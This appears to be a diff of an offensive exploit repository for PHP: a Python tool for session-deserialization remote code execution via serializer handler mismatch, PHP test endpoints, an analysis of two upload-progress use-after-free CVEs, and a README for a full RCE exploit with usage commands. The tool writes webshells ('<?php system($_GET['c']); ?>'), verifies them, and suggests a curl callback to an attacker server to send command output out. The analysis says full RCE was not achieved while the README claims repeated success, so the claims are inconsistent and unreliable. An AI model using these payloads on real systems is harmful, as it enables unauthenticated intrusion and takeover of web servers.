# ═══════════════════════════════════════════════════════════════════════
# Exploit logic
# ═══════════════════════════════════════════════════════════════════════
def run_inject(args, chain_bytes):
"""Inject mode: POST chain into session, trigger via handler mismatch."""
inj = urlparse(args.inject_url)
trg = urlparse(args.trigger_url)
inj_tls = inj.scheme == "https"
trg_tls = trg.scheme == "https"
inj_host = inj.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
inj_port = inj.port or (443 if inj_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
inj_path = inj.path or "/"
trg_path = trg.path or "/"
if inj.query:
inj_path += "?" + inj.query
if trg.query:
trg_path += "?" + trg.query
# The payload: | followed by serialized chain
# When php_serialize stores this in the session file as a
# length-prefixed string, the | is preserved. When the php
# handler reads the file, it finds | and deserializes what follows.
payload = b"|" + chain_bytes
print("[*] Phase 1: obtaining session ID from inject endpoint...")
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
cookies = extract_cookies(probe)
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
print(f" PHPSESSID: {sid}")
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
print(f" Payload size: {len(payload)} bytes")
# URL-encode the binary payload for form POST
encoded_param = args.inject_param.encode() + b"="
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
post_body = encoded_param + encoded_value
resp = http_post_form(
inj_host, inj_port, inj_tls, inj_path,
post_body,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc = status_code(resp)
print(f" Response: HTTP {sc}")
if sc not in (200, 301, 302, 303, 204):
print(f" [!] Unexpected status. Session may not have been written.")
print("[*] Phase 3: triggering deserialization via handler mismatch...")
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
resp2 = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp2)
body2 = body_of(resp2).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run_progress(args, chain_bytes):
"""Progress mode: inject via upload progress filename + OOM crash."""
wr = urlparse(args.write_url)
trg = urlparse(args.trigger_url)
wr_tls = wr.scheme == "https"
trg_tls = trg.scheme == "https"
wr_host = wr.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
wr_port = wr.port or (443 if wr_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
wr_path = wr.path or "/"
trg_path = trg.path or "/"
if b"\x00" in chain_bytes:
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
print(" via multipart filenames (PHP truncates at \\x00).")
print(" Use --mode inject, or provide a NULL-free chain.")
sys.exit(1)
sid = os.urandom(16).hex()
print(f"[*] Session ID: {sid}")
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
print(f" Fields: {args.fields} x {args.field_size}B")
sc = progress_inject_oom(
wr_host, wr_port, wr_tls, wr_path, sid,
chain_bytes, args.fields, args.field_size,
)
if sc in (502, 0):
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
elif sc == 500:
print(f" [+] HTTP 500 (OOM during script)")
else:
print(f" [!] HTTP {sc} — may not have OOMed")
print(" Waiting for new worker...")
time.sleep(2)
for _ in range(8):
try:
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(" New worker ready")
break
except Exception:
pass
time.sleep(1)
print("[*] Phase 2: triggering deserialization via handler mismatch...")
resp = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp)
body2 = body_of(resp).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run(args):
# Build or load chain
if args.chain_file:
with open(args.chain_file, "rb") as f:
chain_bytes = f.read().rstrip(b"\n\r")
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
try:
chain_bytes = base64.b64decode(chain_bytes)
except Exception:
pass
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
elif args.chain in CHAINS:
info = CHAINS[args.chain]
if info["type"] == "fw":
if not args.write_path:
print(f"[!] --write-path required for {args.chain} chain")
print(" e.g., --write-path /var/www/html/shell.php")
sys.exit(1)
shell = args.shell_code or "<?php system($_GET['c']); ?>"
chain_bytes = info["fn"](args.write_path, shell)
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
else:
if not args.cmd:
print(f"[!] --cmd required for {args.chain} chain")
sys.exit(1)
chain_bytes = info["fn"](args.cmd)
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
else:
print("[!] Specify --chain or --chain-file")
print(" Available chains: " + ", ".join(CHAINS.keys()))
sys.exit(1)
print(f"[*] Chain size: {len(chain_bytes)} bytes")
has_nulls = b"\x00" in chain_bytes
if has_nulls:
print("[*] Chain contains NULL bytes (normal for protected/private props)")
print()
print("=" * 65)
print(" PHP Session Deserialization RCE — Handler Mismatch")
print(" No LFI. No FPM dependency.")
print("=" * 65)
print(f" Mode : {args.mode}")
if args.mode == "inject":
print(f" Inject URL : {args.inject_url}")
print(f" Inject param: {args.inject_param}")
else:
print(f" Write URL : {args.write_url}")
print(f" Trigger URL: {args.trigger_url}")
if args.chain_file:
print(f" Chain : {args.chain_file}")
else:
print(f" Chain : {args.chain}")
print()
if args.mode == "inject":
sid, sc, body = run_inject(args, chain_bytes)
else:
sid, sc, body = run_progress(args, chain_bytes)
# Post-exploit for fw chains: verify the webshell was written
chain_info = CHAINS.get(args.chain, {})
if chain_info.get("type") == "fw" and args.write_path:
print()
print("[*] Phase 4: verifying webshell...")
# Guess the webshell URL from write_path
# /var/www/html/shell.php -> /shell.php
shell_rel = args.write_path
for prefix in ["/var/www/html", "/var/www", "/srv/http",
"/usr/share/nginx/html"]:
if shell_rel.startswith(prefix):
shell_rel = shell_rel[len(prefix):]
break
trg = urlparse(args.trigger_url)
trg_tls = trg.scheme == "https"
trg_host = trg.hostname or "127.0.0.1"
trg_port = trg.port or (443 if trg_tls else 80)
verify_url = shell_rel + "?c=id"
try:
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
vbody = body_of(resp).decode(errors="replace")
if "uid=" in vbody:
print(f" [+] Webshell works!")
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(vbody.strip())
print("[+] ══════════════════════════════════════════")
print()
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
return
else:
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
except Exception as e:
print(f" [!] Could not verify: {e}")
if chain_info.get("type") == "cmd":
# Command output may be in the trigger response itself,
# or it may have run as a side effect (no visible output).
print()
if body.strip():
print("[+] Trigger response body:")
print(body[:500])
print()
print("[*] Command was executed during deserialization (__destruct).")
print(" If output is not visible, use a callback payload:")
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
print()
print("[*] Deserialization triggered. If no RCE:")
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
print(" - Verify the POP chain matches the target's libraries")
print(" - Try phpggc to generate a chain for the exact versions:")
print(" phpggc -l | grep RCE")
print(f" - Session ID was: {sid}")
def main():
ap = argparse.ArgumentParser(
description="PHP Session Deserialization RCE via Handler Mismatch",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
No LFI. No FPM. RCE via session.serialize_handler mismatch.
Examples:
# Inject mode with Monolog file write (drops webshell):
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw --write-path /var/www/html/s.php
# Inject mode with direct command execution:
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
%(prog)s --mode progress \\
--write-url http://target/serialize_ep.php \\
--trigger-url http://target/php_ep.php \\
--chain-file chain_nofull.bin
""")
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
help="Injection mode (default: inject)")
ap.add_argument("--inject-url",
help="URL of endpoint that stores POST data in session "
"(must use php_serialize handler)")
ap.add_argument("--inject-param", default="data",
help="POST parameter stored in $_SESSION (default: data)")
ap.add_argument("--write-url",
help="URL of php_serialize endpoint (progress mode)")
ap.add_argument("--trigger-url", required=True,
help="URL of endpoint using default php handler "
"(triggers deserialization)")
ap.add_argument("--chain", choices=list(CHAINS.keys()),
help="Built-in POP chain")
ap.add_argument("--chain-file",
help="Custom serialized chain file (e.g., phpggc output)")
ap.add_argument("--write-path",
help="Target file path for monolog-fw chain")
ap.add_argument("--shell-code",
help="PHP code for webshell (monolog-fw, default: system)")
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
ap.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields for progress mode (default: 30000)")
ap.add_argument("--field-size", type=int, default=512,
help="Bytes per OOM field (default: 512)")
args = ap.parse_args()
if args.mode == "inject" and not args.inject_url:
print("[!] --inject-url required for inject mode")
sys.exit(1)
if args.mode == "progress" and not args.write_url:
print("[!] --write-url required for progress mode")
sys.exit(1)
if not args.chain and not args.chain_file:
print("[!] Specify --chain or --chain-file")
sys.exit(1)
run(args)
if __name__ == "__main__":
main()
+22
View File
@@ -0,0 +1,22 @@
<?php
/**
* Direct deserialization test: loads Monolog, unserializes the chain,
* lets __destruct fire. Should execute system('id').
*/
require __DIR__ . '/vendor/autoload.php';
$payload = base64_decode($argv[1] ?? '');
if (!$payload) {
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
exit(1);
}
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
fwrite(STDERR, "Unserializing...\n");
$obj = unserialize($payload);
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
// __destruct fires here when $obj goes out of scope
+25
View File
@@ -0,0 +1,25 @@
<?php
/**
* Test endpoint: php_serialize handler.
* Stores POST parameters in $_SESSION.
*
* In the wild, this maps to any endpoint that:
* - Uses ini_set('session.serialize_handler', 'php_serialize')
* (Laravel, Symfony, etc.)
* - Stores user input in $_SESSION
*/
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
foreach ($_POST as $k => $v) {
$_SESSION[$k] = $v;
}
echo json_encode(['status' => 'ok', 'session_id' => session_id()]);
} else {
echo json_encode([
'status' => 'ready',
'session_id' => session_id(),
'handler' => 'php_serialize',
]);
}
+18
View File
@@ -0,0 +1,18 @@
<?php
/**
* Test endpoint: default php handler.
* Just calls session_start(). The handler mismatch causes
* deserialization of objects injected via the php_serialize endpoint.
*
* In the wild, this maps to any PHP script on the same host that:
* - Does NOT set session.serialize_handler to php_serialize
* - Calls session_start()
* (phpMyAdmin, legacy scripts, admin panels, etc.)
*
* Autoloads Monolog so deserialized objects have real classes.
*/
require __DIR__ . '/vendor/autoload.php';
session_start();
echo "OK pid=" . getmypid();
+393
View File
@@ -0,0 +1,393 @@
# CVE-2026-109618 / CVE-2026-109619: Vulnerability Analysis
## Overview
PHP's multipart parser (`rfc1867.c`) and session upload progress handler
(`ext/session/session.c`) contain a use-after-free exploitable over HTTP
against Apache mod_php with **default PHP configuration**. No LFI, no
framework dependency, no non-default settings.
| Property | Value |
|---|---|
| CVE | CVE-2026-109618, CVE-2026-109619 |
| CVSS | 9.2 (both, per Rapid7) |
| Affected | PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11 |
| Patched | PHP 8.3.36, 8.4.27, 8.5.12 |
| Prerequisites | Apache mod_php (prefork), session.upload_progress.enabled=1 (default) |
| Exploit status | UAF crash confirmed, full RCE not achieved |
## Root cause
### CVE-2026-109618: OOM triggers longjmp past cleanup
When `memory_limit` is exceeded during `php_session_decode()` inside
the RFC1867 progress callback, PHP calls `zend_mm_safe_error()` which
invokes `zend_bailout()`. This is a `longjmp` that unwinds the call
stack without running cleanup code, specifically
`php_var_unserialize_destroy()`.
The state that survives the bailout (in `BG` module globals):
```c
// ext/standard/basic_functions.c
struct {
uint32_t level; // should be 0, stays at 1
php_unserialize_data_t data; // freed 8216-byte struct pointer
} unserialize;
```
`php_var_unserialize_init()` allocates a `php_unserialize_data` struct
(8216 bytes = 3 ZendMM pages) and sets `level = 1`.
`php_var_unserialize_destroy()` frees it and sets `level = 0`. When OOM
fires between init and destroy, level stays at 1 and data points to
freed memory.
### CVE-2026-109619: Stale state reused on next request
The request startup flow in `main/main.c` (lines 1784-1838) wraps the
entire block from `zend_activate()` through `zend_activate_modules()` in
one `zend_try/zend_catch`. The execution order:
1. `zend_activate()` (line 1796)
2. `sapi_activate()` (line 1797): multipart parsing and RFC1867 callback
3. `php_hash_environment()` (line 1833)
4. `zend_activate_modules()` (line 1834): module RINITs run here, including `PHP_RINIT_FUNCTION(basic)` which zeros BG state
5. `PG(modules_activated) = 1` (line 1835)
The RFC1867 callback at step 2 runs BEFORE RINIT at step 4. So stale
BG state from the previous request IS used during RFC1867 decode.
When `php_var_unserialize_init()` is called during RFC1867 decode:
- It checks `BG(unserialize).level`
- If level > 0 AND `BG(serialize_lock) == 0`, it returns
`BG(unserialize).data` (the stale, freed pointer) and increments level
### Why Apache prefork survives (and FPM does not)
**Apache prefork**: The bailout is caught by Apache's request handler.
The child process continues its event loop. BG globals persist because
they are module-level, not request-scoped.
**PHP-FPM**: The bailout propagates to `fpm_main.c`'s outer
`zend_try/zend_catch`. The catch block sets `exit_status = 70` and the
worker exits. A new clean worker is spawned.
## OOM trigger mechanism
A session file with 33000 entries (~682KB) forces
`nTableSize = 65536` during decode. The `arData` allocation:
65536 * 36 = 2,359,296 bytes (~2.25MB). With `memory_limit = 4MB`,
this exceeds the limit during `HashTable` resize in
`zend_hash_real_init_mixed_ex()`.
The OOM triggers during `sapi_activate()` -> RFC1867 callback ->
`php_session_initialize()` -> `php_session_decode()` -> unserialize ->
`HashTable` resize.
After OOM:
- `php_session_cancel_decode()` calls `php_session_destroy()`
- Session file is DELETED (on unpatched PHP)
- `BG(unserialize).level = 1`, `.data` = freed pointer to 8216-byte struct
- Worker survives, serves new connections
## The UAF mechanism
### php_unserialize_data struct layout (8216 bytes, 3 pages)
```
Offset Field Size Notes
------ ----- ---- -----
0 last (var_entries*) 8 Points to inline entries
8 first_dtor 8 NULL initially
16 last_dtor 8 NULL initially
24 allowed_classes 8 NULL = allow all
32 ref_props 8 NULL
40 cur_depth 4 0
44 (padding) 4
48 max_depth 8 From ini setting
56 entries.used_slots 8 0 initially
64 entries.next 8 NULL
72 entries.data[1018] 8144 zval* array
8216 (end)
```
### Why var_push crashes
After OOM, the heap is destroyed and rebuilt for the next request. The
stale pointer references freed pages in the ZendMM chunk. Filler form
fields in the crash trigger create 3-page `zend_string` allocations
that consume pages sequentially. When one lands on the stale struct's
pages (~page 288 of 512), the `zend_string` GC header overlaps the
struct's pointer fields:
```
Struct offset 0 (last) <- gc_refcount(4) + gc_type_info(4)
Struct offset 8 (first_dtor) <- hash(8)
Struct offset 16 (last_dtor) <- len(8)
Struct offset 24+ <- string value (attacker-controlled)
```
`var_push` (var_unserializer.re line 118) reads `(*var_hashx)->last`:
```c
var_entries *var_hash = (*var_hashx)->last; // = GC header ~= 0x0000030600000001
var_hash->data[var_hash->used_slots++] = rval; // dereferences invalid address
// SIGSEGV
```
### Why var_access does NOT crash (type confusion primitive)
`var_access` (var_unserializer.re line 213) is used by `R:N;` and
`r:N;` backreferences. Unlike `var_push`, it reads the INLINE entries
at struct offset 56, NOT the `last` pointer at offset 0:
```c
var_entries *var_hash = &(*var_hashx)->entries; // offset 56, not 'last'
if (id >= var_hash->used_slots) return NULL;
return var_hash->data[id]; // offset 72+
```
Without the filler spray, the stale struct retains its request 1 layout
at the critical fields:
```
last = &entries (self-referencing, valid)
entries.used_slots = 1 (partially overwritten by heap metadata)
entries.data[0] = 0x780c8a923010 (stale zval* from request 1)
```
When the session data contains `x|R:1;`, the unserializer calls
`var_access(0, stale_struct)`, which reads `entries.data[0]` (the stale
pointer) and returns it. PHP then does `ZVAL_COPY(rval, stale_zval)`.
The stale zval's type matches whatever the first OOM session entry was:
| OOM session first value | Stale zval type | Result |
|---|---|---|
| String (e.g. `s:8000:"BBB..."`) | IS_STRING | Original string content intact |
| Integer (e.g. `i:42;`) | IS_LONG | Original integer value |
| Boolean (e.g. `b:1;`) | IS_TRUE | Original boolean value |
| Object (e.g. `O:8:"stdClass":0:{}`) | IS_OBJECT | CRASH (freed zend_object dereference) |
| Array (e.g. `a:0:{}`) | IS_ARRAY | Self-referencing `$_SESSION` (infinite recursion) |
The cached ZendMM chunk retains page data across requests (only the
chunk header metadata is zeroed, not the data pages). This means the
stale zval at `entries.data[0]` contains the **attacker's own data**
from request 1, not leaked heap memory or code pointers.
This is a confirmed type confusion, but it does NOT provide an info
leak. The value appears in `$_SESSION['x']` and is accessible to the
main PHP script, but only contains data the attacker already knows.
### Why filler spray and type confusion are mutually exclusive
The session decode calls `var_tmp_var(&var_hash)` (var_unserializer.re
line 187) BEFORE `php_var_unserialize()` for each session key-value
pair. `var_tmp_var` reads `(*var_hashx)->last_dtor` at struct offset 16.
Without filler spray: `last_dtor` retains its request 1 value (NULL for
simple string values). `var_tmp_var` allocates a new `var_dtor_entries`
struct and writes the pointer to offset 16. No crash.
With filler spray: offset 16 is overwritten by the `zend_string` `len`
field (e.g., 8200 = 0x2008). `var_tmp_var` dereferences 0x2008 as a
`var_dtor_entries*`, which is an unmapped address. SIGSEGV before
`var_access` runs.
This means there is no exploitation window where controlled data
coexists with a readable stale reference. Filler spray corrupts the
struct before `var_access` can read the controlled pages.
## Confirmed primitives
Tested on PHP 8.3.35 (source build), Apache 2.4.58 (prefork,
MaxRequestWorkers=1), Ubuntu 24.04, x86_64:
| Primitive | Status | Notes |
|---|---|---|
| OOM during RFC1867 session decode | Confirmed | 33000-entry session, 4MB limit |
| Apache prefork worker survival | Confirmed | Same PID after OOM |
| Stale BG(unserialize) state | Confirmed | level=1, data=freed ptr (GDB) |
| Page reclamation via filler spray | Confirmed | 27+ fields crashes worker |
| UAF crash (SIGSEGV in var_push) | Confirmed | Reproducible, first attempt |
| Type confusion via var_access | Confirmed | R:1 resolves stale zval, type matches OOM session |
| Stale value = attacker's own data | Confirmed | Cached chunk retains pages, no info leak |
| Filler/type-confusion mutual exclusion | Confirmed | var_tmp_var crashes at offset 16 before var_access |
| Session key injection via `\|` | Blocked | php serializer skips keys with `\|` |
| Info leak via type confusion | Not possible | Reads own data, not heap metadata |
| Full RCE | Not achieved | ASLR + mutual exclusion + no info leak |
## Exploitation constraints
### Why full RCE is not achieved
Five independent constraints block RCE from this primitive.
#### 1. GC header overlap (var_push path)
The struct's three pointer fields at offsets 0-23 overlap with the
`zend_string` header, which is set by the allocator:
- `last` (offset 0) = `gc_refcount` + `gc_type_info`: the allocator sets
refcount=1 and type_info=IS_STRING with GC flags. This produces a low,
invalid address like `0x0000030600000001`. The attacker cannot control
these bytes.
- `first_dtor` (offset 8) = `hash`: lazily computed, initially 0 (NULL).
This is safe: `var_destroy` checks `first_dtor != NULL` before
iterating the dtor chain.
- `last_dtor` (offset 16) = `len`: the string length (e.g., 8200 =
`0x2008`). This is also a low, unmapped address.
The attacker controls bytes from offset 24 onward (`allowed_classes`,
`ref_props`, `max_depth`, `entries.used_slots`, `entries.next`,
`entries.data[]`), but `var_push` crashes reading `last` (offset 0)
before any of these fields are reached.
#### 2. No info leak (var_access path)
The type confusion via `var_access` avoids the GC header crash, but
`entries.data[0]` points to a Bucket in request 1's session HashTable
arData. The ZendMM cached chunk retains data pages across requests
(only the chunk header is zeroed during `zend_mm_shutdown` with
`memset(p, 0, sizeof(zend_mm_chunk))`). The stale zval at
`entries.data[0]` contains the **attacker's own session data**, not
leaked heap metadata or code pointers.
Testing confirms the stale value's type matches the OOM session's first
entry (string -> IS_STRING with original content, integer -> IS_LONG
with original value, etc.). This is not an info leak.
To exploit the type confusion for RCE, the attacker would need to:
1. Leak a heap pointer to determine the ZendMM chunk base, then
2. Spray controlled data to overlapping pages, then
3. Use the type confusion to read crafted objects
Step 1 is impossible through this vulnerability: no path reads heap
metadata or code pointers through the type confusion.
#### 2b. Mutual exclusion of filler spray and type confusion
The filler spray (needed to place controlled data on stale pages) and
the type confusion (needed to read stale data) cannot coexist:
- `var_tmp_var()` reads `(*var_hashx)->last_dtor` at struct offset 16
BEFORE `php_var_unserialize()` calls `var_access` at offset 56.
- Without spray: offset 16 = NULL (from request 1), `var_tmp_var`
allocates normally, type confusion works but reads own data.
- With spray: offset 16 = zend_string `len` (e.g., 0x2008), `var_tmp_var`
dereferences 0x2008 as a pointer -> SIGSEGV before var_access runs.
There is no exploitation window where controlled content on the stale
pages is readable via the type confusion.
#### 3. Built-in classes lack usable exploitation path
The RFC1867 session decode runs during `sapi_activate()`, before module
RINIT and main script execution. Only PHP's built-in/internal classes
are registered. An audit of all statically compiled extensions found:
**Classes with exploitable `free_obj` handlers:**
- `SplFileObject/SplFileInfo/DirectoryIterator`: `free_obj` calls
`intern->oth_handler->dtor(intern)`, a function pointer call through
object data. But `oth_handler` is only set by Phar.
- `PDO`: `free_obj` calls `dbh->methods->closer(dbh)`, another function
pointer through object data.
**Why these are unusable:** Constructing a fake `zend_object` that
redirects `handlers` to a real handlers table requires knowing
`libphp.so`'s base address. The heap chunk address is stable within a
process, but code segment addresses are independent. No code address
leak was found through this vulnerability.
#### 4. Session key validation
The `PHP_SESSION_UPLOAD_PROGRESS` form field value becomes part of the
session key (prefixed with `upload_progress_`). A `|` character in this
value could inject serialized data into the session file, since the
`php` session serializer uses `|` as the key-value delimiter.
However, `PS_SERIALIZER_ENCODE_FUNC(php)` explicitly checks for `|` in
session keys with `memchr()` and skips keys containing it. The injected
key is stored in `$_SESSION` but never written to the session file,
preventing deserialization injection on subsequent requests.
### What would be needed for full RCE
1. **An info leak from a separate vulnerability**: The type confusion
reads the attacker's own data. A separate vulnerability providing
either a heap pointer or a libphp.so code pointer would enable:
- Heap pointer: spray fake objects at known addresses
- Code pointer: construct fake `zend_object.handlers` pointing to
real handler tables for SplFileObject/PDO/Closure
2. **Bypass of filler/type-confusion mutual exclusion**: A way to place
controlled data on stale pages without corrupting struct offset 16
(`last_dtor`). No such technique was found. The struct occupies 3
pages (8216 bytes), and large allocations cover full pages including
offset 16.
3. **Loaded classes with POP chains**: If a framework's classes were
loaded before session decode, deserialized objects could trigger
exploitable magic methods. Standard PHP and WordPress do not load
user classes before `sapi_activate()`.
4. **Alternative allocation type**: An 8216-byte allocation where the
attacker controls offset 0 and 16 (blocking the GC header overlap
and `last_dtor` corruption). No such type was identified in the
multipart parsing code path.
## The patch (PHP 8.3.36, 8.4.27, 8.5.12)
Three independent defense layers, any one sufficient:
### 1. php_basic_early_rinit()
New function called from `php_request_startup()` AFTER `zend_activate()`
but BEFORE `sapi_activate()`:
```c
PHPAPI void php_basic_early_rinit(void) {
BG(serialize_lock) = 0;
memset(&BG(serialize), 0, sizeof(BG(serialize)));
memset(&BG(unserialize), 0, sizeof(BG(unserialize)));
}
```
Eliminates the stale state window entirely. Even if OOM occurs, the
BG state is zeroed before RFC1867 processing on the next request.
### 2. Delayed OOM
`zend_bailout()` on OOM is completely removed. The allocator now either:
- Returns NULL (fallible mode) for checked allocations
- Succeeds beyond the soft limit (non-fallible mode) and queues a
delayed error via `EG(delayed_oom)` + VM interrupt
No longjmp means all cleanup code runs normally, including
`php_var_unserialize_destroy()`.
A hard limit (`memory_hard_limit_percent`, default 200%) calls
`_exit(137)` as a safety net.
### 3. Session handler hardening
- `PS(in_rfc1867_update)` flag forces `incomplete_classes_only` mode
during RFC1867 session decode (no `__wakeup`/`__unserialize`)
- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START`
- `$_SESSION` cleanup at `MULTIPART_EVENT_END`
- `PG(modules_activated)` check prevents RFC1867 callback during
`request_parse_body()`
- ~30 `ZEND_HAS_OOM()` checks throughout `rfc1867.c` for graceful
handling of allocation failures
## Why this does not apply to latest PHP
The latest stable PHP versions (8.3.36+, 8.4.27+, 8.5.12+) include all
three defense layers. The patch is comprehensive:
- Layer 1 alone blocks the attack (no stale state)
- Layer 2 alone blocks the attack (no longjmp, cleanup runs)
- Layer 3 alone limits exploitability (no object instantiation)
No bypass path has been identified for any of the three layers.
+259
View File
@@ -0,0 +1,259 @@
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
Remote code execution in PHP's session upload progress handler, exploitable
over plain HTTP against Apache mod_php with **completely stock configuration**.
No LFI, no framework dependency, no non-default PHP settings required.
## Affected versions
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
running under Apache mod_php with prefork MPM.
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
so stale state never persists across requests.
## What this exploit achieves
Full remote code execution (arbitrary command) from a single unauthenticated
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
page does not need `session_start()` or any specific code.
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
`display_errors=On`, `MaxRequestWorkers=150`).
## Prerequisites
All of these are default on stock PHP Docker images and common Debian/Ubuntu
Apache + mod_php installations:
- Apache mod_php with prefork MPM
- `session.upload_progress.enabled = 1` (default: on)
- `session.upload_progress.cleanup = 1` (default: on)
- Any PHP-handled URL (even a 404 error page)
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
For multi-worker Apache (the default), the `--workers N` spray mode sends
the OOM trigger to all workers before probing for the leak.
## How it works
### The vulnerability chain
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
the request shutdown handler. This skips session cleanup code in
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
and `PS(send_cookie) = 1`.
**CVE-2026-109619**: On the next request to the same Apache worker,
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
properly reinitialized. The callback sees the stale `PS(id)` and
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
through the stale pointer and emits it as a `Set-Cookie` header.
### post_max_size bypass via chunked Transfer-Encoding
PHP checks `Content-Length` against `post_max_size` before invoking the
multipart parser. If `Content-Length` exceeds the limit, the body is
rejected entirely. However, when the request uses `Transfer-Encoding:
chunked` instead of `Content-Length`, no upfront size check occurs.
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
filter chain without enforcing `post_max_size`, allowing the full body
to be processed regardless of the configured limit.
This means the exploit works against `memory_limit=128M` with
`post_max_size=8M` by sending ~140MB of chunked POST data.
### Three-stage exploit (full ASLR bypass)
All traffic is plain HTTP multipart POST requests:
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
Request A sends 1001+ fields (triggering `max_input_vars` warning which
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
large field via chunked TE to trigger OOM. The warning output prevents
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
remains 1 and `PS(id)` becomes a dangling pointer.
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
The filler fields' heap allocations overlap the dangling `PS(id)` address.
When `php_session_send_cookie()` runs with the stale pointer, it reads
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
bytes contain Zend MM free-list pointers, which reveal the chunk base
address (2MB aligned).
**Stage 2: Code ASLR bypass (libphp.so base)**
Similar to stage 1, but request B's field layout places a real PHP
`HashTable` structure at the dangling pointer offset. The `pDestructor`
field of the HashTable is a function pointer into libphp.so
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
load address.
**Stage 3: RCE (zif_system)**
Request A poisons the worker with stale session state. Request B sprays
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
whose `pDestructor = zif_system`. When session cleanup calls
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
attacker-controlled arguments, executing an arbitrary shell command as
the web server user (`www-data`).
## Usage
```bash
# Auto-detect PHP version, look up offsets, exploit
python3 rce_exploit.py -u http://target/index.php
# Auto-pull matching Docker image for offset extraction
python3 rce_exploit.py -u http://target/index.php --auto-pull
# Verify RCE via docker exec (for testing)
python3 rce_exploit.py -u http://target/index.php \
--docker-proof CONTAINER /tmp/pwn
# Multi-worker Apache spray mode
python3 rce_exploit.py -u http://target/ --workers 150
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
# Extract offsets for a new PHP build
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
--php-version 8.3.35
```
### Options
| Flag | Default | Description |
|---|---|---|
| `-u URL` | (required) | Target URL (any PHP endpoint) |
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
| `--workers N` | 1 | Apache workers to spray |
| `--huge-mb N` | 140 | OOM field size in MB |
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
| `--auto-pull` | off | Pull Docker image for offset extraction |
| `--retries N` | 5 | Attempts per stage |
